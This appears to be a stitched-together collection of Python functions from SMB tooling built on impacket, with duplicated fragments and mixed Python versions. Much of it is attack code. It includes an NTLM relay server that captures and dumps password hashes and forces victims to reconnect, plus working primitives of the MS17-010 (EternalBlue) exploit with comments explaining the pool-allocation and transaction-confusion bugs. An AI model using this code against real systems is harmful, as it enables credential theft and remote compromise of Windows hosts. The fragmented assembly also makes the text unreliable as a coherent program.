respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': #TODO: Fix this for other protocols than SMB [!] clientResponse, errorCode = smbClient.login_standard( sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) #TODO: Fix this for other protocols than SMB [!] clientThread = self.config.attacks['SMB'](self.config, smbClient, self.config.exeFile, self.config.command) clientThread.start() #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) # Remove the target server from our connection list, the work is done del (smbData[self.target]) # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def openFile(self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ, creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN, fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): """ opens a remote file :param HANDLE treeId: a valid handle for the share where the file is to be opened :param string pathName: the path name to open :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx :param int shareMode: Specifies the sharing mode for the open. :param int creationOption: Specifies the options to be applied when creating or opening the file. :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name field already exists. :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. :param int oplockLevel: The requested oplock level :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. :return: a valid file descriptor, if not raises a SessionError exception. """ if self.getDialect() == smb.SMB_DIALECT: _, flags2 = self._SMBConnection.get_flags() pathName = pathName.replace('/', '\\') packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) ntCreate['Parameters']['FileNameLength']= len(packetPathName) ntCreate['Parameters']['AccessMask'] = desiredAccess ntCreate['Parameters']['FileAttributes']= fileAttributes ntCreate['Parameters']['ShareAccess'] = shareMode ntCreate['Parameters']['Disposition'] = creationDisposition ntCreate['Parameters']['CreateOptions'] = creationOption ntCreate['Parameters']['Impersonation'] = impersonationLevel ntCreate['Parameters']['SecurityFlags'] = securityFlags ntCreate['Parameters']['CreateFlags'] = 0x16 ntCreate['Data']['FileName'] = packetPathName if flags2 & smb.SMB.FLAGS2_UNICODE: ntCreate['Data']['Pad'] = 0x0 if createContexts is not None: LOG.error("CreateContexts not supported in SMB1") try: return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) except (smb.SessionError, smb3.SessionError) as e: raise SessionError(e.get_error_code(), e.get_error_packet()) else: try: return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, creationDisposition, fileAttributes, impersonationLevel, securityFlags, oplockLevel, createContexts) except (smb.SessionError, smb3.SessionError) as e: raise SessionError(e.get_error_code(), e.get_error_packet())
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): # Here is another bug in MS17-010. # To call transaction subcommand, normally a client need to use correct SMB commands as documented in # https://msdn.microsoft.com/en-us/library/ee441514.aspx # If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client # can use *_SECONDARY command to send transaction message. When sending a transaction completely with # *_SECONDARY command, a server uses the last command that complete the transaction. # For example: # - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. # - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. # # Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same. # For example: # - a client start transaction with SMB_COM_NT_TRANSACT command # - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY # - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY # - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field) # From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction # with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT # While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount # field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx). # Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction) pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) conn.recvSMB() # must be success # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data i = firstDataFragmentSize while i < len(data): # limit data to 4096 bytes per SMB message because this size can be used for all Windows version sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i
if data.get_packet()[0] == '\x00': if data.get_packet()[4:8] == '\xffSMB': try: packet.fromString(data.get_packet()[4:]) except Exception, e: print "ERROR: %s" % e print "Command: SMBPacket" print "Packet: %d %r" % (packetNum, data.get_packet()) return True else: return False else: return False try: SMBCommand = smb.SMBCommand(packet['Data'][0]) except Exception, e: print "ERROR: %s" % e print "Command: SMBCommand" print "Packet: %d %r" % (packetNum, data.get_packet()) return True if smbCommands.has_key(packet['Command']): return smbCommands[packet['Command']][HANDLER]( packet, packetNum, SMBCommand, smbCommands[packet['Command']][QUESTIONS], smbCommands[packet['Command']][REPLIES]) #else: # print "Command 0x%x not handled" % packet['Command']
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget() LOG.info( "SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split(b'\x02') if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('SMB2 not supported, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = b(''.join( [random.choice(string.ascii_letters) for _ in range(16)])) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [ TypesMech[ 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS
def create_and_x(self, conn_id, smb_server, smb_command, recv_packet): """ Our version of smbComNtCreateAndX looks for special test files and fools the rest of the framework into opening them as if they were normal files. """ conn_data = smb_server.getConnectionData(conn_id) # Wrap processing in a try block which allows us to throw SmbException # to control the flow. try: ncax_parms = imp_smb.SMBNtCreateAndX_Parameters( smb_command["Parameters"]) path = self.get_share_path(conn_data, ncax_parms["RootFid"], recv_packet["Tid"]) log.info("[SMB] Requested share path: %s", path) disposition = ncax_parms["Disposition"] log.debug("[SMB] Requested disposition: %s", disposition) # Currently we only support reading files. if disposition != imp_smb.FILE_OPEN: raise SmbException(STATUS_ACCESS_DENIED, "Only support reading files") # Check to see if the path we were given is actually a # magic path which needs generating on the fly. if path not in [SERVER_MAGIC, TESTS_MAGIC]: # Pass the command onto the original handler. return imp_smbserver.SMBCommands.smbComNtCreateAndX( conn_id, smb_server, smb_command, recv_packet) flags2 = recv_packet["Flags2"] ncax_data = imp_smb.SMBNtCreateAndX_Data(flags=flags2, data=smb_command["Data"]) requested_file = imp_smbserver.decodeSMBString( flags2, ncax_data["FileName"]) log.debug("[SMB] User requested file '%s'", requested_file) if path == SERVER_MAGIC: fid, full_path = self.get_server_path(requested_file) else: assert (path == TESTS_MAGIC) fid, full_path = self.get_test_path(requested_file) resp_parms = imp_smb.SMBNtCreateAndXResponse_Parameters() resp_data = "" # Simple way to generate a fid if len(conn_data["OpenedFiles"]) == 0: fakefid = 1 else: fakefid = conn_data["OpenedFiles"].keys()[-1] + 1 resp_parms["Fid"] = fakefid resp_parms["CreateAction"] = disposition if os.path.isdir(path): resp_parms[ "FileAttributes"] = imp_smb.SMB_FILE_ATTRIBUTE_DIRECTORY resp_parms["IsDirectory"] = 1 else: resp_parms["IsDirectory"] = 0 resp_parms["FileAttributes"] = ncax_parms["FileAttributes"] # Get this file's information resp_info, error_code = imp_smbserver.queryPathInformation( "", full_path, level=imp_smb.SMB_QUERY_FILE_ALL_INFO) if error_code != STATUS_SUCCESS: raise SmbException(error_code, "Failed to query path info") resp_parms["CreateTime"] = resp_info["CreationTime"] resp_parms["LastAccessTime"] = resp_info["LastAccessTime"] resp_parms["LastWriteTime"] = resp_info["LastWriteTime"] resp_parms["LastChangeTime"] = resp_info["LastChangeTime"] resp_parms["FileAttributes"] = resp_info["ExtFileAttributes"] resp_parms["AllocationSize"] = resp_info["AllocationSize"] resp_parms["EndOfFile"] = resp_info["EndOfFile"] # Let's store the fid for the connection # smbServer.log("Create file %s, mode:0x%x" % (pathName, mode)) conn_data["OpenedFiles"][fakefid] = {} conn_data["OpenedFiles"][fakefid]["FileHandle"] = fid conn_data["OpenedFiles"][fakefid]["FileName"] = path conn_data["OpenedFiles"][fakefid]["DeleteOnClose"] = False except SmbException as s: log.debug("[SMB] SmbException hit: %s", s) error_code = s.error_code resp_parms = "" resp_data = "" resp_cmd = imp_smb.SMBCommand(imp_smb.SMB.SMB_COM_NT_CREATE_ANDX) resp_cmd["Parameters"] = resp_parms resp_cmd["Data"] = resp_data smb_server.setConnectionData(conn_id, conn_data) return [resp_cmd], None, error_code
def createSessionAllocNonPaged(target, size): conn = MYSMB( target, use_ntlmv2=False ) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set _, flags2 = conn.get_flags() # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters'][ 'MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session sessionSetup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') return conn if USERNAME: # Try login with valid user because anonymous user might get access denied on Windows Server 2012. # Note: If target allows only NTLMv2 authentication, the login will always fail. # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16) flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 conn.set_flags(flags2=flags2) # new SMB packet to reset flags pkt = smb.NewSMBPacket() pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD)) # UnicodePasswordLen field is in Reserved for extended security format. sessionSetup['Parameters']['Reserved'] = len(pwd_unicode) sessionSetup['Data'] = pack( '<H', reqSize + len(pwd_unicode) + len(USERNAME)) + pwd_unicode + USERNAME + '\x00' * 16 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') return conn # lazy to check error code, just print fail message print('SMB1 session setup allocate nonpaged pool failed') sys.exit(1)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() # must be success if recvPkt.getNTStatus() == 0: module.log('got good NT Trans response') else: module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error') sys.exit(1) # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) try: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) if self.authUser == '/': LOG.info( 'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % (connId, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) self.target = self.targetprocessor.getTarget( identity=self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info( 'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) LOG.info( 'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters( ) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) ## Process here the request, does the share exist? UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED resp['ErrorCode'] = errorCode >> 16 resp['_reserved'] = 0o3 resp['ErrorClass'] = errorCode & 0xff if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS') respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode
def do_lots(self, user, pwd_ansi, share, filename, domain=''): pkt = smb.NewSMBPacket() pkt['Flags1'] = 8 sessionSetup = smb.SMBCommand(self.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = smb.SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = self.get_session_key() sessionSetup['Parameters']['AnsiPwdLength'] = len(pwd_ansi) sessionSetup['Parameters']['UnicodePwdLength'] = len('') sessionSetup['Parameters']['Capabilities'] = self.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = pwd_ansi sessionSetup['Data']['UnicodePwd'] = '' sessionSetup['Data']['Account'] = str(user) sessionSetup['Data']['PrimaryDomain'] = str(domain) sessionSetup['Data']['NativeOS'] = str(os.name) sessionSetup['Data']['NativeLanMan'] = 'pysmb' # This is an example of how to use chained ANDX commands treeConnect = smb.SMBCommand(self.SMB_COM_TREE_CONNECT_ANDX) treeConnect['Parameters'] = smb.SMBTreeConnectAndX_Parameters() treeConnect['Data'] = smb.SMBTreeConnectAndX_Data() treeConnect['Parameters']['PasswordLength'] = 1 treeConnect['Data']['Password'] = '******' treeConnect['Data']['Path'] = share treeConnect['Data']['Service'] = smb.SERVICE_ANY openFile = smb.SMBCommand(self.SMB_COM_OPEN_ANDX) openFile['Parameters'] = smb.SMBOpenAndX_Parameters() openFile['Parameters']['DesiredAccess'] = smb.SMB_ACCESS_READ openFile['Parameters']['OpenMode'] = smb.SMB_O_OPEN openFile['Parameters']['SearchAttributes'] = 0 openFile['Data'] = smb.SMBOpenAndX_Data() openFile['Data']['FileName'] = filename readAndX = smb.SMBCommand(self.SMB_COM_READ_ANDX) readAndX['Parameters'] = smb.SMBReadAndX_Parameters() readAndX['Parameters']['Offset'] = 0 readAndX['Parameters']['Fid'] = 0 readAndX['Parameters']['MaxCount'] = 4000 crap = smb.SMBCommand(0) crap['Parameters'] = smb.SMBAndXCommand_Parameters() crap['Data'] = 'A' * 3000 pkt.addCommand(sessionSetup) pkt.addCommand(crap) pkt.addCommand(treeConnect) pkt.addCommand(openFile) pkt.addCommand(readAndX) sessionSetup['Parameters']['AndXCommand'] = crap['Parameters'][ 'AndXCommand'] sessionSetup['Parameters']['AndXOffset'] = crap['Parameters'][ 'AndXOffset'] sessionSetup['ByteCount'] = 1000 treeConnect['ByteCount'] = 100 self.sendSMB(pkt) pkt = self.recvSMB()
def createSessionAllocNonPaged(target, size): # There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool. # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan. # The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size" # Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. # For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command. # - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication # - GetNtSecurityParameters() function is resposible for extracting data from this packet format # - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication # - GetExtendSecurityParameters() function is resposible for extracting data from this packet format # These 2 formats have different WordCount (first one is 13 and later is 12). # Here is logic in BlockingSessionSetupAndX() related to this bug # - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format) # - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request # - else, process a message as NT Security request # So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY. # With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size". # But GetExtendSecurityParameters() checks ByteCount value again. # So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY. conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters'][ 'MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session sessionSetup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags sessionSetup['Data'] = pack('<H', reqSize) + b'\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return conn